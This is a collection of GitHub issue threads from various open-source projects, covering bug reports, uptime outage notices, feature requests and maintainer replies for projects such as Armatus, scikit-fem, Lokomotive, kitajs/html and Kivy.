So, how about adding API(s) to implement the pause/resume function? The API might be designed like this:
ProgressBar.Circle.prototype.pause = function pause() {
  if(this._progressPath === null)
    throw new Error(DESTROYED_ERROR);

  this._progressPath._tweenable.pause();
}

ProgressBar.Circle.prototype.resume = function resume() {
  if(this._progressPath === null)
    throw new Error(DESTROYED_ERROR);

  this._progressPath._tweenable.resume();
}

// The same for ProgressBar.Line and others

see #221


text:
🛑 Synthescape App is down

In 42d04ac, Synthescape App (https://app.synthescape.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Synthescape App is back up in 184747f after 18 minutes.

repo: kind-work/uptime


text:
Catchup with ocaml 4.09

make test-ed with ocaml 4.04 and 4.09
Pervasives -> Stdlib
Travis CI may need changes as we now depend on a new library.(Edit: updated now)

Opam upgrade is also needed for travis (1.2.2), while I am using 2.0.7


text:
empty output

Hi,
I am trying to run armatus on a sparse matrix, but I seems to get no domains at all, trying with different matrix... I believe there is a problem with my run.
Could i send you my matrix so you can test it, and could I gt an example of a sparse matrix on which you have tested armatus to see if the problem come from my installation?
Thanks,
Samuel

Hi Samuel,
Please send me your matrix (nsauerwald@cmu.edu), and I will try to figure out the issue.
In the meantime, any of the sparse Hi-C matrices from the 2012 Dixon publication (available here: https://www.ncbi.nlm.nih.gov/geo/query/acc.cgi?acc=GSE35156), or from the 2014 Rao publication (available here: https://www.ncbi.nlm.nih.gov/geo/query/acc.cgi?acc=GSE63525) should run correctly with Armatus (make sure to use the -R flag for the Rao dataset, as the file format is different).
Best,
Natalie

Hey,
I've got the same problem. Just to be clear, is the input for Rao's dataset the sparse matrix or domain list? I would think the sparse matrix (3 columns) make sense to me, however, the introduction of Armatus seems to suggest to use domain list with -R?

The input should be the sparse matrix, as you said. If you use the -R flag, the software will automatically look for both the ".RAWobserved" and the ".KRnorm" files, and normalize the Hi-C data before finding TADs. If you just want to run Armatus on the raw Rao data, use the -N flag to skip the normalization step. For example, if you wanted to find TADs on the normalized 5kb Hi-C matrix, on chromosome 1 of the GM12878 data, use "-R -i GM12878_combined/5kb_resolution_intrachromosomal/chr1/MAPQGE30/chr1_5kb".

Thanks, Natalia.
Here is another basic question for you, if my data is in sparse matrix, does the matrix is supposed to be normalized or not?
Thanks.

Armatus will run on either normalized or unnormalized data, so the choice of whether to normalize (and which normalization method to use) is up to you based on your application.

Hi,
I seem to be having a similar problem. The sizes of all my output files are zero. I am using an iced matrix produced by HiC-Pro and split by chromosomes using it's utility script split_sparse.py.
My first guess would be that there is some problem with formatting of the input.
Any chance you could help?
All the best,
Agnieszka
This is the command:
armatus -m -r 5000 -N -S -c ${i} -i $INPUT -g 1.0 -s 0.05 -o armatus.domains/chr${i}
And that's the head of the input file:
head NP1_5000_iced_Chr1.matrix
1       1       88.000000
1       2       84.000000
1       3       55.000000
1       4       28.000000
1       5       30.000000
1       6       22.000000
1       7       19.000000
1       8       7.000000
1       9       12.000000
1       10      4.000000
Some lines from std.out
Reading input from NP1_5000_iced_Chr10.matrix.
Building matrix for chromosome 10 at resolution 5000bp with 1 rows.
Initializing matrix to zero elements
10.9114%
21.8229%
32.7343%
43.6457%
54.5572%
65.4686%
76.38%
87.2915%
98.2029%
MatrixParser read matrix of size: 1 x 1
gamma=0
OPTIMAL SCORE: 0
begin computeTopK()
In topK()
The 0th-best solution had score 0
gamma=0.05
OPTIMAL SCORE: 0
begin computeTopK()
In topK()

I think the issue is that your data is already divided by the resolution (notice that your TADs start and end at values like 1 and 2 instead of 5000 and 10000), and when you put in that the resolution of your data is 5000, the algorithm tries to divide the TAD boundaries by the resolution, and gets values like 1/5000 for your boundaries. Try using the same command but without the "-r 5000" flag, as shown below.
armatus -m -N -S -c ${i} -i $INPUT -g 1.0 -s 0.05 -o armatus.domains/chr${i}

authors: agolicz hgu0717 nsauerwald samuelCollombet

repo: kingsfordgroup/armatus


text:
ex13: add mesh.refined(1) and everything is broken

Add mesh = mesh.refined(1) before line 40
https://github.com/kinnala/scikit-fem/blob/71eb03e9baee4deab12c9fd91a04118bde3838ec/docs/examples/ex13.py#L36-L40
and you get
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_21440/3992918866.py in <module>
     32
     33 u = basis.zeros()
---> 34 u[basis.get_dofs("positive")] = 1.
     35 u = solve(*condense(A, x=u, D=basis.get_dofs({"positive", "ground"})))
     36

c:\users\username\local\scikit-fem\skfem\assembly\basis\abstract_basis.py in get_dofs(self, facets, elements, skip)
    243                                               skip_dofnames=skip)
    244
--> 245         facets = self._get_dofs_normalize_facets(facets)
    246         return self.dofs.get_facet_dofs(facets,
    247                                         skip_dofnames=skip)

c:\users\username\local\scikit-fem\skfem\assembly\basis\abstract_basis.py in _get_dofs_normalize_facets(self, facets)
    261             return self.mesh.facets_satisfying(facets)
    262         elif isinstance(facets, str):
--> 263             return self.mesh.boundaries[facets]
    264         raise NotImplementedError
    265

TypeError: 'NoneType' object is not subscriptable

Ouch! #104?

So this is already fixed in #792, just waiting for it to be merged.

Let me add that currently subdomains are always invalidated by a refine.

I did some changes in #792 and now it looks like this if refined does not preserve the names:
In [1]: from skfem import *

In [2]: m = MeshTet().refined()
Named boundaries invalidated by a call to Mesh.refined()

In [3]: basis = Basis(m, ElementTetP1())

In [4]: basis.get_dofs("left")
---------------------------------------------------------------------------
ValueError                                Traceback (most recent call last)
<ipython-input-4-9d9e979f36a3> in <module>
----> 1 basis.get_dofs("left")

~/src/scikit-fem/skfem/assembly/basis/abstract_basis.py in get_dofs(self, facets, elements, skip)
    243                                               skip_dofnames=skip)
    244
--> 245         facets = self._get_dofs_normalize_facets(facets)
    246         return self.dofs.get_facet_dofs(facets,
    247                                         skip_dofnames=skip)

~/src/scikit-fem/skfem/assembly/basis/abstract_basis.py in _get_dofs_normalize_facets(self, facets)
    265                 return self.mesh.boundaries[facets]
    266             else:
--> 267                 raise ValueError("Boundary '{}' not found.".format(facets))
    268         raise NotImplementedError
    269

ValueError: Boundary 'left' not found.

authors: gatling-nrl gdmcbain kinnala

repo: kinnala/scikit-fem


text:
Consider testing HA setup on the CI

To avoid bugs like #347.
This of course means, bigger costs and bigger testing matrix.

I don't see why not, if we plan to support this and is very relevant to most production deployments.
If the testing matrix is a problem, I'd remove the 1 controller test in favor of the HA controller, even.

Can we just convert the existing CI pipeline for AWS and Packet to start 2 controllers instead of 1?
This way we test HA control plane by default? And about testing 1 controller control plane it is low priority because our customers won’t be running single controller cluster in production.

I think we should test both, but if we need to test only one, as I mentioned, we should test HA. For the same reasons @surajssd mentions :)

We now test HA on each PR and single-controller on Flatcar Edge on every push to master. Closing.

authors: iaguis invidian rata surajssd

repo: kinvolk/lokomotive


text:
Handle updating CRDs for components

Currently Helm leaves CRD updates up to administrators, as it is not trivial to update them, as this may result in data loss. More upstream details here: https://github.com/helm/helm/issues/5871.
We should be able to handle them, or let users now how to update them after new release is out

What is the current mitigation to updating the CRDs? Use lokoctl component render-manifest | kubectl apply -f - ?

What is the current mitigation to updating the CRDs? Use lokoctl component render-manifest | kubectl apply -f - ?

Well, this will update all managed objects, won't ensure the right namespace and not make use of Helm's 3-way merge, so I wouldn't recommend that.

Well, this will update all managed objects

Yeah :-|

won't ensure the right namespace

Won't the -n flag do the thing?

not make use of Helm's 3-way merge

kubectl apply already does three way merge, I am not sure how different it is from helm's three way merge.

so I wouldn't recommend that

What is the way to go here then?

kubectl apply already does three way merge, I am not sure how different it is from helm's three way merge.

I'm not sure, perhaps we should check :)

What is the way to go here then?

Well, this is to figure out :)

In the next release we have already Calico and Prometheus needing the CRDs to be updated, it might be a good time to tackle this.
The Helm CRDs are stored in the crd/ directory and are never touched after install. Taking CRDs from there and installing them separately could work.

The Helm CRDs are stored in the crd/ directory and are never touched after install. Taking CRDs from there and installing them separately could work.

I'd start with checking:

Why Helm is not upgrading the CRDs?
What were the issues in the past when upgrading the CRDs (and how we can programmatically ensure that they are addressed)?

authors: invidian meyskens surajssd


text:
Formalize the Lokomotive configuration structure

General
We want to have a well-defined structure for the Lokomotive configuration for the following reasons:

We want to be able to evolve the configuration structure over time in a way which makes sense to the users and with as few breaking changes as possible.
We need to be able to properly deprecate knobs over time.
It would be helpful to the users to have a document with a clear description of the Lokomotive configuration structure, its syntax, its various sections and all of the knobs. The lokoctl configuration reference doesn't fully explain these things at the moment.

This task focuses on writing a proposal for a formal Lokomotive configuration structure. The result should be a document which can then be reviewed by the Lokomotive team.
Implementation
Things to consider when working on the document:

We need to figure out what we mean by "syntax": Are we taking about HCL? Are we talking about which blocks or "sections" exist in a config file? Are we talking about which knobs exist in each section? Are we talking about which data types are acceptable by each knob? Are we talking about which values are acceptable by each knob? It's important to understand this and properly define what we mean by "syntax" so that we can easily answer the question "has the syntax changed between lokoctl version X and version Y?".
Right now we have two main entities which live in our configuration: cluster and component. What would things look like if we need to add a new entity in the future? Can we define things in a way which would make it easy to do so?
We should aspire to minimize the effect changes in Lokomotive have on the configuration structure. The configuration file is a critical contact point we have with the user and significantly affects the UX. How much would the configuration structure have to change in various scenarios (platforms are added/removed/changed, components are added/removed/changed, critical design decisions are changed, ...)?
What would things look like if we decide to add support for managing multiple clusters? Would it require breaking things for existing users? Would it force us to "overhaul" the entire config structure?
What is the proper relationship between cluster and component blocks? Right now the two are separate. Does it make sense to keep things this way?
Do we need versioning for the configuration structure? If so, on what type of changes do we increment the version? How does the configuration version interact with the Lokomotive and/or lokoctl version?

Potentially relevant issues:

https://github.com/kinvolk/lokomotive/issues/364
https://github.com/kinvolk/lokomotive/issues/96
https://github.com/kinvolk/lokomotive/issues/123

Also related:

Centralizing HCL handling: #604

@surajssd has this been started?

@johananl no I couldn't get back on it :neutral_face:

No worries, just needed to know the status :+1:

authors: invidian johananl surajssd


text:
🛑 Website - Development is down

In 1205143, Website - Development (https://dev.kiondaga.org) was down:

HTTP code: 503
Response time: 365 ms

Resolved: Website - Development is back up in 9d85cd6 after 1 minute.

repo: kiondaga/status


text:
not work with ngTouch module.

cause ngTouch module's ngClick directive using touch event to trigger click event.  and disabled element can trigger touch event. so this won't work.
I can send a PR to fix this issue, does anyone maintain this project ?

Hey! Maintaining this project has been on and off at times. However If you are interested and your Pr looks decent then I have absolutely no problem adding you to contributors list and also granting you NPM access.

repo: kirstein/angular-autodisable


text:
test fails when running with Python 3.12

  File "/home/runner/work/djk-sample/djk-sample/.tox/py3.12-django-4.2-bs4/lib/python3.12/site-packages/ensure/main.py", line 940, in <module>
    ensure_raises_regex = unittest_case.assertRaisesRegexp
                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'TestCase' object has no attribute 'assertRaisesRegexp'. Did you mean: 'assertRaisesRegex'?

Thanks for the heads up. Released fix in v1.0.4.

authors: Dmitri-Sintsov kislyuk

repo: kislyuk/ensure


text:
fix(network): resp.text utf-8 encoding

The exception below would be raised under certain circumstances even with a non-empty document.
lxml.etree.ParserError: Document is empty
This can be fixed by simply introducing encode('utf-8')

This is not an effective fix as it introduces new problems.
Not all requests return HTML documents, so this approach may lead to errors or exceptions.
This error typically indicates that the HTML document content obtained from resp.text is empty or incomplete, causing the fromstring() method to fail in parsing it as a valid document object and leading to a parsing error.
The possible cause could be that the response returned from the server is empty or incomplete. When encountering this error, one should try to resend the request to obtain a complete response.

It looks like the version of the lxml library in your system environment is not up to date.
You can check it by using pip show lxml .
Please upgrade the lxml library to the latest version by using pip install -U lxml , and then try running demo_yandex.py again.
By the way, if you want to develop a reverse image search bot for QQ, you can take a look at my developed project: YetAnotherPicSearch , which is based on nonebot and this project.

My lxml version is 4.9.2 the latest version by now.
I don't think this is a dependency error since the dependencies are all retrieved from poetry with the file pyproject.toml.
Thank you for your suggestion of YetAnotherPicSearch. It will be a nice reference for me.

I think this should be an lxml issue, most likely related to your macOS, but I'm not sure.
You can try recompiling lxml locally using the following command to see if the problem is resolved:
pip uninstall lxml
ARCHFLAGS=“-arch arm64” pip install lxml --compile --no-cache-dir

Thank you for your reply.
I'm sure now that it's a problem related to the macOS since the same code works well on Debian 11 and Windows 10.
However, even the recompiled lxml package won't work for macOS, while the system default encoding is utf-8.

authors: AtropsCooper NekoAria

repo: kitUIN/PicImageSearch


text:
[question] Recommended strategies to pass context

Seeing as a library like this will be used as a (lightweight) templating engine, I wonder what strategies could be used to inject context into a template to prevent property drilling.
Example use cases:

Passing theme
Passing localization

I've searched for some packages that provide a similar feature for rendering JSX to HTML without React in the mix:

jsxte Context
jsxte Provider/Consumer
nakedjsx Context
kent c dodds Provider/Consumer

I would love to hear your thoughts on this @arthurfiorette

Hey @eelkevdbos. Awesome question btw.
The context concept is really useful to have changing-state in multiple branches of your component tree, without having to drill state and setState properties for multiple components and having the whole tree being rendered again when a setState is called.
However, this is not present in this library, as each component is immutable and only returns a string. Although it would be awesome to be able to define per-render "global" variables that could be used deep inside components, we cannot do this without changing the return type to something else than a string/Promise or keep asynchronous safe renders.
I did a lot of experiments and even looked up similar implementations like the new beth-stack. All of them either have a different return type or, like in the beth stack, are not asynchronous safe.
The asynchronous problem happens in cases like this example:
function AsyncComponent({ userId }) {
  const username = await dbQueryThatTakesOneSecondOrMore(userId);
  return
{username}

}

In a web server like backend, which will be most of usecases, having a http route that renders the above async component, would work normally for all cases. If we change it to use a "context-like" approach:
function AsyncComponent() {
  const requestContext = useContext(Request);
  const username = await dbQueryThatTakesOneSecondOrMore(requestContext.userId);
  return
{username}

}

However, without changing the string-like return type, it would need some sort of per-request variable that is defined at the beginning of the request and cleared out after it renders successfully. The problem happens when a second request is received without having returned the previous one. (This example of 1+ seconds is easily to reproduce). NodeJS is asynchronous, and the event loop would jump a non blocking task until it completes. Which would conflict with the global variable usage and break implementations completely by returning wrong states in async components when two requests are being rendered at the same time. Which is something really important but may not be obvious.
A solution I found was, like in the Suspense implementation, fallback to a rid property created at the html root, which even for asynchronous operations can still be traced back with the rid. It is not an ideal DX but is the only solution without removing the string-like return type which is the big-deal of this package.
I also tried implementations with the rid to create a context example. I ended up with something like this:
// rid was a native prop, the same way as children is defined for every component.
function Component({rid}) {
  const contextA = useContext(MyContextA, rid);
  const contextB = useContext(MyContextB, rid);
  return
...
;
}

const html = renderWithContext(rid => (
  <Layout rid={rid}>
    <ComponentA rid={rid} />
    <Componentb rid={rid} />
    <ComponentC rid={rid} />
    <ComponentD rid={rid} />
  </Layout>
), { stateProperty })

But as you saw, we would still need to prop-drill rid. And, as each component is immutable and only returns a string, we could only have read only states that have its properties defined at the root. (In this example { stateProperty } would need to be 100% calculated before the first render.
With all of the above in mind. I'm not sure we will be able to do any context-like implementation. But remember, @kitajs/html is just a templating engine on steroids no mutation is done by itself (look at solutions like htmx).
Anyways, happy to discuss further possibilities :)

Thank you for the thorough explanation! I think I understand the issue a little more.
Coming from a python background, I am familiar with the concept of a Context Local (https://docs.python.org/3/library/contextvars.html), a seemingly "global" variable but with a thread or event loop local scope.
After a bit of searching for an analogy, I found the following: https://nodejs.org/api/async_context.html
It seems to me that we could use this (if ported to Bun) to have that "global" async-safe variable.

Somehow I totally missed async_context module... I'll take a deeper look at it.

This should be a totally doable feature, however I do not have time to spend on it as I'm using my spare time to build https://kita.js.org. Any help is appreciated, does someone wanna work on it?

Hey all! 👋🏻

This should be a totally doable feature, however I do not have time to spend on it as I'm using my spare time to build https://kita.js.org. Any help is appreciated, does someone wanna work on it?

I am not sure if this should be handled by KitaJS or by the framework using it. The ALS should wrap the whole request to keep a nice DX.
I have tested to use the ALS of AdonisJS and it played nicely with KitaJS to avoid props drilling.
router.get('test', async () => {
  return <Home title={'Hello'} />
})

import { HttpContext } from '@adonisjs/core/http'

export default function Home({ title }: { title: string }) {
  const ctx = HttpContext.getOrFail()

  return (

        {title} - {ctx.request.url()}

  )
}

Keep a note that using ALS is quite expensive and will decrease the performance of your application.
If we can avoid using ALS, it would be better.

The only way to avoid ALS is by not avoiding prop-drilling, which is the topic of this issue. Buut, i'm 100% with prop drilling, as its more verbose but hides any kind of magic may happeng.
Also, it is expensive at the point of frameworks having to revert their ALS adoption.

As our only way to support concurrent renders and avoid prop drilling is to use ASL, but its slower, I'll close this issue until newer ways are released.

Just putting this here, because if implemented, it would be a decent performance improvement to the async local storage: https://github.com/nodejs/node/pull/48528

FYI, we wrote a blog post on how to use Kita with AdonisJS and someone made a package to have a better DX!

Hey @RomainLanz, awesome post!!!
I would greatly appreciate it if you could also provide guidance on preventing XSS. This can be achieved either by incorporating the xss-scan script from @kitajs/ts-html-plugin into the package.json test script, or by configuring IDE IntelliSense.
While using kita/html correctly has no XSS vulnerability, overlooking certain steps can be quite risky. I'm kindly requesting everyone who showcases kitajs/html to include this information, as it's not a common practice for other libraries.
https://github.com/kitajs/ts-html-plugin?tab=readme-ov-file#running-as-cli
https://github.com/kitajs/html?tab=readme-ov-file#installing

Hey @RomainLanz, awesome post!!!
I would greatly appreciate it if you could also provide guidance on preventing XSS. This can be achieved either by incorporating the xss-scan script from @kitajs/ts-html-plugin into the package.json test script, or by configuring IDE IntelliSense.
While using kita/html correctly has no XSS vulnerability, overlooking certain steps can be quite risky. I'm kindly requesting everyone who showcases kitajs/html to include this information, as it's not a common practice for other libraries.
https://github.com/kitajs/ts-html-plugin?tab=readme-ov-file#running-as-cli https://github.com/kitajs/html?tab=readme-ov-file#installing

Yes, I will add those tomorrow!

I have updated the article; if you have any other feedback about missing things, I would happily add them too! 👍🏻

authors: RomainLanz arthurfiorette eelkevdbos

repo: kitajs/html


text:
CDK-845: Refactor CSV to support String parsing.

Extracts the Avro record building from CSVFileReader into CSVRecordBuilder
that can be used by passing an already-parsed String[]. Adds
CSVRecordParser that wraps a CSVParser, which will parse a single line
of CSV passed as a String. This is to support changes to the flume sink
that can read events with CSV payloads.

Rebased and fixed the read(String) method. I think that addresses the problems that required changes.

+1 looks good to me.

authors: rdblue tomwhite

repo: kite-sdk/kite


text:
try download docker:latest in windows 7x64

no such container
404
no such id: docker

Do you have a link to the image you're trying to use?

Closing this for lack of activity in the past 15days.

authors: FrenchBen suenot

repo: kitematic/kitematic


text:
Bug: Link to LinkedIn doesn't work for organisations

Description
The author link to LinkedIn doesn't work when you have the author set as organization
https://github.com/kitian616/jekyll-TeXt-theme/blob/40a8a8712b89533dd3f88c07a22c04b2d036e36e/_config.yml#L37
since the author link is hardcoded to point to personal pages, /in/ instead of /company/
https://github.com/kitian616/jekyll-TeXt-theme/blob/40a8a8712b89533dd3f88c07a22c04b2d036e36e/_includes/author-links.html#L97
Steps to Reproduce

Set author as organization in _config.yml.
Enter a LinkedIn profile name in _config.yml.
Build site.
Click on link in site footer.

Expected behavior
Link should point to correct LinkedIn page.
Screenshots (If Necessary)
n/a
Environment (If Necessary)
n/a

any update?

Would be cool to get a solution for that. Any news?

authors: fabiopaiva msallin phieri


text:
🛑 Vinos Divertidos is down

In 5e4a638, Vinos Divertidos (https://vinosdivertidos.es) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Vinos Divertidos is back up in 4de511c after 11 minutes.


text:
Fixes editcontview

editcontview fixes. It was not working with PyCodeInput.

Please try rebasing your prs from master, .travis.yml is missing, that's why the builds fail.

hi @dessant
I rebased this PR: https://github.com/kivy/kivy-designer/pull/94 because all pr's would get a python3 style problem.
So after getting https://github.com/kivy/kivy-designer/pull/94 reviewed I can easily rebase all PRs on my branch.

@aron-bordin  time to rebase.

authors: akshayaurora aron-bordin dessant

repo: kivy/kivy-designer


text:
feature request: pitch and pan change for kivy.core.audio

Having the ability to change the pitch and the pan value of the sound playing would be great. Libgdx has this functionality available across all platforms, so I'm guessing it should be similarly possible in kivy?

Want to back this issue? Place a bounty on it! We accept bounties via Bountysource.

+1 :+1: If possible, this should also support 3D audio instead of only stereo. Pitch would also be great.

repo: kivy/kivy


text:
kivy-examples package broken

It's reported at https://groups.google.com/forum/#!topic/kivy-users/hSyITNXQyb0 that the kivy-examples package doesn't currently work on Ubuntu.

---
Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/10729176-kivy-examples-package-broken?utm_campaign=plugin&utm_content=tracker%2F42681&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F42681&utm_medium=issues&utm_source=github).

Need a more detailed output, eg. a commandline output, and more important, which PPA was used.

I tried to run the kivycatalog and got this error:
Traceback (most recent call last):
File "main.py", line 191, in
KivyCatalogApp().run()
File "/usr/lib/python2.7/dist-packages/kivy/app.py", line 824, in run
runTouchApp()
File "/usr/lib/python2.7/dist-packages/kivy/base.py", line 487, in runTouchApp
EventLoop.window.mainloop()
File "/usr/lib/python2.7/dist-packages/kivy/core/window/window_sdl2.py", line 539, in mainloop
self._mainloop()
File "/usr/lib/python2.7/dist-packages/kivy/core/window/window_sdl2.py", line 300, in _mainloop
EventLoop.idle()
File "/usr/lib/python2.7/dist-packages/kivy/base.py", line 327, in idle
Clock.tick()
File "/usr/lib/python2.7/dist-packages/kivy/clock.py", line 483, in tick
self._process_events()
File "/usr/lib/python2.7/dist-packages/kivy/clock.py", line 615, in _process_events
event.tick(self._last_tick, remove)
File "/usr/lib/python2.7/dist-packages/kivy/clock.py", line 374, in tick
ret = callback(self._dt)
File "/usr/lib/python2.7/dist-packages/kivy/uix/video.py", line 177, in _do_video_load
self._video.play()
File "/usr/lib/python2.7/dist-packages/kivy/core/video/video_gstplayer.py", line 88, in play
self.player.set_volume(self.volume)
AttributeError: 'NoneType' object has no attribute 'set_volume'

same when running python3 kvrun.py app_logo.kv when I push the button
Traceback (most recent call last):
File "kvrun.py", line 35, in
KvApp(filename=sys.argv[1]).run()
File "/usr/lib/python3/dist-packages/kivy/app.py", line 824, in run
runTouchApp()
File "/usr/lib/python3/dist-packages/kivy/base.py", line 487, in runTouchApp
EventLoop.window.mainloop()
File "/usr/lib/python3/dist-packages/kivy/core/window/window_sdl2.py", line 539, in mainloop
self._mainloop()
File "/usr/lib/python3/dist-packages/kivy/core/window/window_sdl2.py", line 300, in _mainloop
EventLoop.idle()
File "/usr/lib/python3/dist-packages/kivy/base.py", line 330, in idle
self.dispatch_input()
File "/usr/lib/python3/dist-packages/kivy/base.py", line 315, in dispatch_input
post_dispatch_input(*pop(0))
File "/usr/lib/python3/dist-packages/kivy/base.py", line 221, in post_dispatch_input
listener.dispatch('on_motion', etype, me)
File "_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:6856)
File "/usr/lib/python3/dist-packages/kivy/core/window/init.py", line 904, in on_motion
self.dispatch('on_touch_down', me)
File "_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:6856)
File "/usr/lib/python3/dist-packages/kivy/core/window/init.py", line 920, in on_touch_down
if w.dispatch('on_touch_down', touch):
File "_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:6856)
File "/usr/lib/python3/dist-packages/kivy/uix/widget.py", line 382, in on_touch_down
if child.dispatch('on_touch_down', touch):
File "_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:6856)
File "/usr/lib/python3/dist-packages/kivy/uix/behaviors.py", line 134, in on_touch_down
self._do_press()
File "/usr/lib/python3/dist-packages/kivy/uix/behaviors.py", line 111, in _do_press
self.state = 'down'
File "properties.pyx", line 397, in kivy.properties.Property.set (kivy/properties.c:4543)
File "properties.pyx", line 429, in kivy.properties.Property.set (kivy/properties.c:5025)
File "properties.pyx", line 484, in kivy.properties.Property.dispatch (kivy/properties.c:5641)
File "_event.pyx", line 1168, in kivy._event.EventObservers.dispatch (kivy/_event.c:11690)
File "_event.pyx", line 1050, in kivy._event.EventObservers._dispatch (kivy/_event.c:10705)
File "/usr/lib/python3/dist-packages/kivy/lang.py", line 1477, in call_fn
setattr(element, key, e_value)
File "weakproxy.pyx", line 22, in kivy.weakproxy.WeakProxy.setattr (kivy/weakproxy.c:1218)
File "properties.pyx", line 397, in kivy.properties.Property.set (kivy/properties.c:4543)
File "properties.pyx", line 429, in kivy.properties.Property.set (kivy/properties.c:5025)
File "properties.pyx", line 484, in kivy.properties.Property.dispatch (kivy/properties.c:5641)
File "_event.pyx", line 1168, in kivy._event.EventObservers.dispatch (kivy/_event.c:11690)
File "_event.pyx", line 1074, in kivy._event.EventObservers._dispatch (kivy/_event.c:11029)
File "/usr/lib/python3/dist-packages/kivy/uix/video.py", line 183, in on_play
return self.on_state(instance, value)
File "/usr/lib/python3/dist-packages/kivy/uix/video.py", line 194, in on_state
self._video.play()
File "/usr/lib/python3/dist-packages/kivy/core/video/video_gstplayer.py", line 88, in play
self.player.set_volume(self.volume)

Same here. Looks like there is something missing for the gstreamer player. Do we have a specific gstreamer example?
thopiekar@home:~$ python /usr/share/kivy-examples/kv/kvrun.py /usr/share/kivy-examples/kv/app_logo.kv
[INFO   ] [Logger      ] Record log in /home/thopiekar/.kivy/logs/kivy_15-06-06_3.txt
[INFO   ] [Kivy        ] v1.9.1-dev
[INFO   ] [Python      ] v2.7.9 (default, Apr  2 2015, 15:33:21)
[GCC 4.9.2]
[INFO   ] [Factory     ] 175 symbols loaded
[INFO   ] [Image       ] Providers: img_tex, img_dds, img_gif, img_sdl2, img_pil (img_ffpyplayer ignored)
[INFO   ] [OSC         ] using <multiprocessing> for socket
[INFO   ] [Window      ] Provider: sdl2(['window_egl_rpi'] ignored)
[INFO   ] [GL          ] OpenGL version <3.0 Mesa 10.5.2>
[INFO   ] [GL          ] OpenGL vendor <nouveau>
[INFO   ] [GL          ] OpenGL renderer <Gallium 0.4 on NVAA>
[INFO   ] [GL          ] OpenGL parsed version: 3, 0
[INFO   ] [GL          ] Shading version <1.30>
[INFO   ] [GL          ] Texture max size <8192>
[INFO   ] [GL          ] Texture max units <18>
[INFO   ] [Window      ] auto add sdl2 input provider
[INFO   ] [Window      ] virtual keyboard not allowed, single mode, not docked
[INFO   ] [VideoGstplayer] Using Gstreamer 1.4.5.0
[INFO   ] [Video       ] Provider: gstplayer
[INFO   ] [Text        ] Provider: sdl2
[INFO   ] [GL          ] NPOT texture support is available
[INFO   ] [GL          ] Unpack subimage support is available
[ERROR  ] [Image       ] Error reading file /home/tito/code/pymt/examples/apps/videoplayer/softboy.mpg
[INFO   ] [Base        ] Start application main loop
FPS: 0.0000 (real draw: 0)
[INFO   ] [Base        ] Leaving application in progress...
 Traceback (most recent call last):
   File "/usr/share/kivy-examples/kv/kvrun.py", line 35, in <module>
     KvApp(filename=sys.argv[1]).run()
   File "/usr/lib/python2.7/dist-packages/kivy/app.py", line 824, in run
     runTouchApp()
   File "/usr/lib/python2.7/dist-packages/kivy/base.py", line 487, in runTouchApp
     EventLoop.window.mainloop()
   File "/usr/lib/python2.7/dist-packages/kivy/core/window/window_sdl2.py", line 543, in mainloop
     self._mainloop()
   File "/usr/lib/python2.7/dist-packages/kivy/core/window/window_sdl2.py", line 300, in _mainloop
     EventLoop.idle()
   File "/usr/lib/python2.7/dist-packages/kivy/base.py", line 330, in idle
     self.dispatch_input()
   File "/usr/lib/python2.7/dist-packages/kivy/base.py", line 315, in dispatch_input
     post_dispatch_input(*pop(0))
   File "/usr/lib/python2.7/dist-packages/kivy/base.py", line 221, in post_dispatch_input
     listener.dispatch('on_motion', etype, me)
   File "kivy/_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:7011)
   File "/usr/lib/python2.7/dist-packages/kivy/core/window/__init__.py", line 917, in on_motion
     self.dispatch('on_touch_down', me)
   File "kivy/_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:7011)
   File "/usr/lib/python2.7/dist-packages/kivy/core/window/__init__.py", line 933, in on_touch_down
     if w.dispatch('on_touch_down', touch):
   File "kivy/_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:7011)
   File "/usr/lib/python2.7/dist-packages/kivy/uix/widget.py", line 382, in on_touch_down
     if child.dispatch('on_touch_down', touch):
   File "kivy/_event.pyx", line 699, in kivy._event.EventDispatcher.dispatch (kivy/_event.c:7011)
   File "/usr/lib/python2.7/dist-packages/kivy/uix/behaviors.py", line 134, in on_touch_down
     self._do_press()
   File "/usr/lib/python2.7/dist-packages/kivy/uix/behaviors.py", line 111, in _do_press
     self.state = 'down'
   File "kivy/properties.pyx", line 397, in kivy.properties.Property.__set__ (kivy/properties.c:4680)
   File "kivy/properties.pyx", line 429, in kivy.properties.Property.set (kivy/properties.c:5203)
   File "kivy/properties.pyx", line 484, in kivy.properties.Property.dispatch (kivy/properties.c:5852)
   File "kivy/_event.pyx", line 1168, in kivy._event.EventObservers.dispatch (kivy/_event.c:12152)
   File "kivy/_event.pyx", line 1050, in kivy._event.EventObservers._dispatch (kivy/_event.c:11095)
   File "/usr/lib/python2.7/dist-packages/kivy/lang.py", line 1477, in call_fn
     setattr(element, key, e_value)
   File "kivy/weakproxy.pyx", line 22, in kivy.weakproxy.WeakProxy.__setattr__ (kivy/weakproxy.c:1189)
   File "kivy/properties.pyx", line 397, in kivy.properties.Property.__set__ (kivy/properties.c:4680)
   File "kivy/properties.pyx", line 429, in kivy.properties.Property.set (kivy/properties.c:5203)
   File "kivy/properties.pyx", line 484, in kivy.properties.Property.dispatch (kivy/properties.c:5852)
   File "kivy/_event.pyx", line 1168, in kivy._event.EventObservers.dispatch (kivy/_event.c:12152)
   File "kivy/_event.pyx", line 1074, in kivy._event.EventObservers._dispatch (kivy/_event.c:11451)
   File "/usr/lib/python2.7/dist-packages/kivy/uix/video.py", line 183, in on_play
     return self.on_state(instance, value)
   File "/usr/lib/python2.7/dist-packages/kivy/uix/video.py", line 194, in on_state
     self._video.play()
   File "/usr/lib/python2.7/dist-packages/kivy/core/video/video_gstplayer.py", line 88, in play
     self.player.set_volume(self.volume)
